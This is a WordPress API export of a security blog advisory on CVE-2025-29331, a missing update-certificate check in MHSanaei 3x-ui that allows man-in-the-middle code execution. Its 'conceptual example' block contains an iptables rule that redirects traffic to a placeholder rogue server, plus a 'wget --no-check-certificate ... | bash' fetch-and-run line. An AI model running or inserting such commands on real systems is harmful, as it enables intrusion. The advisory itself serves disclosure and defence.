{"id":56636,"date":"2025-07-02T15:04:05","date_gmt":"2025-07-02T15:04:05","guid":{"rendered":""},"modified":"2025-09-08T05:54:51","modified_gmt":"2025-09-08T11:54:51","slug":"cve-2025-29331-critical-remote-code-execution-vulnerability-in-mhsanaei-3x-ui","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-29331-critical-remote-code-execution-vulnerability-in-mhsanaei-3x-ui\/","title":{"rendered":"<strong>CVE-2025-29331: Critical Remote Code Execution Vulnerability in MHSanaei 3x-ui<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A critical vulnerability, identified as CVE-2025-29331, has been discovered in MHSanaei 3x-ui versions prior to v.2.5.3. This vulnerability allows a remote attacker to execute arbitrary code on the affected system, leading to potential system compromise or leakage of sensitive data. The risk associated with this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4981-critical-file-extraction-vulnerability-in-mattermost-leading-to-potential-remote-code-execution\/\"  data-wpil-monitor-id=\"63060\">vulnerability is significant due to the potential for remote<\/a> attackers to gain unauthorized access to sensitive systems, which could lead to a multitude of negative outcomes, including data theft, system disruption, and unauthorized activities.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-29331<br \/>\nSeverity: Critical (CVSS Severity Score: 9.8)<br \/>\nAttack Vector: Remote<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: Execution of arbitrary code <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32878-critical-vulnerability-in-coros-pace-3-devices-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"63191\">leading to potential system<\/a> compromise or data leakage.<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1564125891\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>MHSanaei 3x-ui | Versions before v.2.5.3<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-31854-critical-tls-server-certificate-validation-vulnerability-in-sicam-toolbox-ii\/\"  data-wpil-monitor-id=\"70017\">vulnerability stems from the absence of a certificate<\/a> check in the management script x-ui when downloading updates via wget. This lack of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24325-improper-input-validation-in-intel-r-800-series-ethernet-driver-allows-potential-escalation-of-privilege\/\"  data-wpil-monitor-id=\"80491\">validation allows<\/a> an attacker to perform a Man-in-The-Middle (MitM) attack. During this attack, the attacker can intercept the update request and deliver a malicious payload instead of the requested update. Since the application does not verify the authenticity of the received update, it <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49132-critical-arbitrary-code-execution-vulnerability-in-pterodactyl-game-server-management-panel\/\"  data-wpil-monitor-id=\"63263\">executes the malicious code<\/a>, providing the attacker with access to the system.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2393040540\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Assuming the attacker is in a position to intercept network traffic, a conceptual example of exploiting this vulnerability might look like this:<\/p>\n<pre><code class=\"\" data-line=\"\"># Attacker sets up a rogue server to serve malicious update\n$ echo &quot;malicious_code&quot; &gt; update.zip\n# Attacker performs a MitM attack and redirects the update request to their rogue server\n$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j DNAT --to-destination &lt;rogue_server_IP&gt;\n# The target MHSanaei 3x-ui system downloads and executes the &quot;update&quot;, which is actually malicious code\n$ wget --no-check-certificate http:\/\/legitimate_update_server\/update.zip -O - | bash<\/code><\/pre>\n<p>This is a simplified illustration and actual exploitation would require more sophisticated techniques. The key takeaway is that without proper certificate verification, an attacker can deliver and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52921-critical-vulnerability-in-innoshop-allows-code-execution-by-authenticated-attackers\/\"  data-wpil-monitor-id=\"63494\">execute malicious code<\/a> on the target system.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A critical vulnerability, identified as CVE-2025-29331, has been discovered in MHSanaei 3x-ui versions prior to v.2.5.3. This vulnerability allows a remote attacker to execute arbitrary code on the affected system, leading to potential system compromise or leakage of sensitive data. The risk associated with this vulnerability is significant due to the potential for remote [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-56636","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/56636","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=56636"}],"version-history":[{"count":6,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/56636\/revisions"}],"predecessor-version":[{"id":72911,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/56636\/revisions\/72911"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=56636"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=56636"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=56636"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=56636"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=56636"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=56636"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=56636"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=56636"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=56636"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}